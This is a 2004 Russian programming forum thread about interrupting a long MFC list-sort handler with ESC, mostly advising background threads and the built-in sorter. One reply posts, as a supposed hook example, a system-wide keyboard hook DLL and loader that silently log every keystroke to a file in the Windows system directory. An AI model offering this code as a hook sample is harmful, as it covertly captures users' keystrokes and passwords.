Форум программистов «Весельчак У»
  *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

  • Рекомендуем проверить настройки временной зоны в вашем профиле (страница "Внешний вид форума", пункт "Часовой пояс:").
  • У нас больше нет рассылок. Если вам приходят письма от наших бывших рассылок mail.ru и subscribe.ru, то знайте, что это не мы рассылаем.
   Начало  
Наши сайты
Помощь Поиск Календарь Почта Войти Регистрация  
 
Страниц: [1]   Вниз
  Печать  
Автор Тема: Как остановить обработчик ?  (Прочитано 16439 раз)
0 Пользователей и 1 Гость смотрят эту тему.
Alex White
Участник

ua
Offline Offline
Пол: Мужской

« : 08-01-2004 12:33 » 

Есть обработчик какого-то (наверное, неважно какого, при надобности допишу) сообщения. Ставится задача прервать его нажатием, например, ESC. Если написать обработчик WM_KEYDOWN, то он вызовется только после того, как первый доработает до финиша, что не есть то, что надо. Как поступить ?
Записан
ixania
Гость
« Ответ #1 : 08-01-2004 12:49 » 

В совем приложении ставиш хук на клаву, при нажатии ожидаемой клавиши выставить Event в отсигналенное состояние, в обрабочике сообшения в нужных точках проверять состояние Event, прервать обработку сообщения при отсигналенном состоянии евента и ресетить его. Также неплохо было бы иметь еще один Event  с ручным ресетом, который бы сигналился при начале обработки сообщения и ресетился при его завершении либо прерывнии, таким образом хук будет знать когда сигналить свой евент при нажатии необходимой клавиши а когда нет, т.е. он точно будет знать когда обрабочик находится в процессе обработки. Да хук не глобальный, только для твоего приложения, иначе над будет проверять если фокус принадлежит твоему окну.

P.S. Может идея бредовая, но думаю может сработать.
Записан
Alex White
Участник

ua
Offline Offline
Пол: Мужской

« Ответ #2 : 08-01-2004 13:16 » 

Смысл в общем-то ясен, только не ясно пока как это написать на VC6 using MFC. И есть ли какие-нить примеры ?
Записан
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии

il
Offline Offline
Пол: Мужской
Бодрый птах


« Ответ #3 : 08-01-2004 13:54 » 

Alex White, это невозможно.
Обработчик не находится в твоей программе и как только он покидает ее то обработкой занимается система - ОС Виндовс.
Тот обработчик ты обязан вызвать иначе вообще не будет работать.
Записан

А птичку нашу прошу не обижать!!!
ixania
Гость
« Ответ #4 : 08-01-2004 14:12 » 

Конкретно то что хочешь зделать ты, нету, а вот как:

- писать хуки на клаву
- работать с евентами
- работать с сообщениями

есть, и по всей видимости, я MFC никогда не использовал, тебе надо будет поменять WinProc для твоего окна и обрабатывать целевое сообщение, ну а иначе нельзя.
Напиши где и что тебе непонятно или не знаешь как зделать, поробую помоч.
Записан
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии

il
Offline Offline
Пол: Мужской
Бодрый птах


« Ответ #5 : 08-01-2004 14:16 » 

ixania, зачем???
МФС - построен на хуках, никакую функцию менять не надо.

Программная функция WndProc (MFC - DefWindowProc) имеет общий вид

WndProc(message, wParam, lParam)
{




Вызов WndProc(); глобального.
}

Т.е. при обработке добавленный в каком либо сообщении текст будет обрабатывать перед глобальной процедурой твои данные как надо тебе, и если ты сделаешь return без вызова глобальной процедуры, то она попросту не выполнется.

Все сообщения проходят через эту функцию.
Записан

А птичку нашу прошу не обижать!!!
ixania
Гость
« Ответ #6 : 08-01-2004 14:39 » 

Я же писал что с MFC не работал, потому и написал что надо будет менять. А в принципе хотелось бы узнать от автора вопроса зачем это ему надо, может его проблема решается другим путем?
Записан
Alex White
Участник

ua
Offline Offline
Пол: Мужской

« Ответ #7 : 08-01-2004 15:27 » 

Просто хочется прервать действие, которое очень долго выполняется. Я уже попробовал по всякому, включая отлов месаг руками, только ни к чему хорошему это не привело. Поэтому видимо придется писать хуки. По сему прошу пример для хука на клаву.
Записан
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии

il
Offline Offline
Пол: Мужской
Бодрый птах


« Ответ #8 : 08-01-2004 15:31 » 

Alex White, тебе не надо делать хук.
1. Скажи точно - какое дейтвие делается долго.
2. Для распределения времени не надо делать все действие в самом обработчике - надо перекладывать его на параллельно текущий оток, который его и сделает.

А обработчик будет совбоден.
Прервать обработчик свой можно в любой момент, для этого в нем самом пиши алгоритм прерывания.
А обработчик который стандартный - не прервешь никогда.

А лучше всего не стесняйся - напиши всю задачу целиком - а то какой то процесс зачем то прервать потому как он слишком долгий...
 Ага
Записан

А птичку нашу прошу не обижать!!!
ixania
Гость
« Ответ #9 : 08-01-2004 15:37 » 

Для этого хук должен жить в длл.

текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0;   // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
    ghDLLInst = hModule;

    switch (dwFunction)
    {
        case DLL_PROCESS_ATTACH:
   {

   GetSystemDirectory(
      sysdir,
   MAX_PATH
   );

   strcpy(logname,sysdir);
   strcat(logname,"\\kbdkeys.txt");

   }
        case DLL_PROCESS_DETACH:
   {
   }

        default:
            break;
    }
    return TRUE;
}
//------------------------------------------------
 LRESULT  CALLBACK KeyboardProc(
     int code,  // hook code
     WPARAM wParam,     // virtual-key code
     LPARAM lParam      // keystroke-message information
   )
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);

if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);

if(kdown&&(wParam==VK_SHIFT))shift=true;

if(!kdown&&(wParam==VK_SHIFT))shift=false;

if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");

   LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  OVERLAPPED ovlp;
  DWORD ffsze=GetFileSize(LFile,NULL);
  ovlp.OffsetHigh=0;
  ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;

  WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);

  CloseHandle(LFile);
}
 return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:

#include <commdlg.h>
#include <stdlib.h>
#include <winnls.h>

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow);

//---------------------------------------------------------------------//
BOOL
SetHook(
    BOOL fSet
    )
{
    static HHOOK hhkKbdHook = NULL;
    static HANDLE hmodHook;

    if (fSet)
    {
        if (!hmodHook)
        {
            if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
            {
                return FALSE;
            }
        }

        if (!hhkKbdHook)
        {
         if (!(hhkKbdHook =
  SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
  GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
            {
                return FALSE;
            }
        }

 }
    else
    {
        if (hhkKbdHook)
        {
            UnhookWindowsHookEx(hhkKbdHook);
            hhkKbdHook = NULL;
        }

    }

    return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow)
{
    if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
    MSG   msg;

  while (GetMessage (&msg, NULL, 0, 0))
  {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
  }
 return( 0 );
}
Записан
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии

il
Offline Offline
Пол: Мужской
Бодрый птах


« Ответ #10 : 08-01-2004 15:42 » 

Зачем???
Можно делать так...

beginthreadex();
Записан

А птичку нашу прошу не обижать!!!
Alex White
Участник

ua
Offline Offline
Пол: Мужской

« Ответ #11 : 08-01-2004 15:47 » 

Гром, задача такая. Есть СListView, в нем CListCtrl. Его надо отсортировать. Проблема в том, что там может быть 50 000 итемов, а в каждом по 10 полей (больше я не видел, но говорят есть). в общем сортировка выполняется в OnColumnclick(). Ставится задача прервать этот бардак нажатием ESC, если у юзера проц дохловат.
Записан
ixania
Гость
« Ответ #12 : 08-01-2004 16:01 » 

Ну в этом случае Гром прав, можно сортировку в отдельный поток  и еще нужен ефективный алгоритм сортировки. Еще можно зарание иметь готовые индексы по каждому колумну, при добавлении удалении элементов над обновлять индексы, ели лень такое писать, можно просто инфу держать в БД например dBASE  c *CDX фалами для инексов. И что ты все 50 000 в памяти держишь  и ведь всеравно ты их грузиш откудато. Короче я за индексы, там сортируется один раз а потом просто обновляются.
Записан
Alex White
Участник

ua
Offline Offline
Пол: Мужской

« Ответ #13 : 08-01-2004 16:11 » 

У меня с сортировкой нет проблем, сортируется довольно быстро (во всяком случае у меня). Суть моей проблемы я уже изложил.
Записан
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии

il
Offline Offline
Пол: Мужской
Бодрый птах


« Ответ #14 : 08-01-2004 18:43 » 

Alex White, у CListCtrl есть встроенный сортировщик - который сам по себе выполняется в отдельном потоке вроде.
Там колбек функция, отсюда я делаю вывод, что это именно так.
Копни сортировку в ней - там всего то - надо задать параметры больше или меньше для поля.

Делает мгновенно.
И не пудри себе мОзги своей собственной.

Делаться будет сортировка по нажатию на заголовок в столбце.
Единственная заморочка - при создании списка каждому итему надо присваивать ID такой же как и содержание - винда по нему сортирует...

Если все же хочешь сделать сам - то поверь мне старому генералу  Ага я пробовал - добавление и перемещение элементов ты будешь делать медленнее чем винда - отвечаю головой.
Записан

А птичку нашу прошу не обижать!!!
grozny
Гость
« Ответ #15 : 08-01-2004 20:56 » 

0. Гром прав относительно встроенного сортировщика. Он быстрый и правильный

1. сложность алгоритма быстрой сортировки (quicksort, shellsort, binsort) есть O(NlogN). Поэтому всё, что меньше сотен тыщ элементов, должно сортироваться мгновенно на _любом_ проце, способном удержать Вындусь. В противном случае чё-то сделано не так. Например, используется пузырьковая сортировка   Вот такой я вот , либо доступ к данным неэффективен (список, сортируемый пузырьком из убывающего в возрастающий, ага?  Отлично ).

2. громоздкие вычислительные задачи - в отдельный трэд, интерфейс - в другой отдельный трэд. Тогда не надо никаких хуков. Хватит пошлых WM_KEYDOWN
Записан
Alex White
Участник

ua
Offline Offline
Пол: Мужской

« Ответ #16 : 12-01-2004 09:18 » 

Улыбаюсь Вы отошли от темы, но тем не менее у меня кое-какие прояснения появились. Выходит, что проще завершить поток, чем обработчик. Проверено. Так и будет впредь. Всем спасибо
Записан
Гром
Птычк. Тьфу, птычник... Вот!
Готовлюсь к пенсии

il
Offline Offline
Пол: Мужской
Бодрый птах


« Ответ #17 : 12-01-2004 17:09 » 

Alex White, естественно так как поток - твой - а обработчик - системный.

Ты просто учти - что любой эвент (событие) это обычный вызов функции внутри винды.
Дальше - по вызову система смотрит в каком порядке выстроились обработчики и вызывает функции по очереди с параметрами.

Вот так ты взял, свой включил до системного, когда твой обработчик отработал, то ты теряешь контроль за течением твоей программы.

Другое дело поток, в который ты ставишь обработчик своего события - вернее это может быть все что угодно, как реакция на происходящее.
Тогда ты всегда контролируешь происходящее в тобой созданном потоке и можешь сделать корректный выход при (например) условии избыточного времени на обработку, или при получении неверных данных в процессе обработки и т.д. и т.п.

Вот Улыбаюсь
Заходи, если что.
Записан

А птичку нашу прошу не обижать!!!
Страниц: [1]   Вверх
  Печать  
 

Powered by SMF 1.1.21 | SMF © 2015, Simple Machines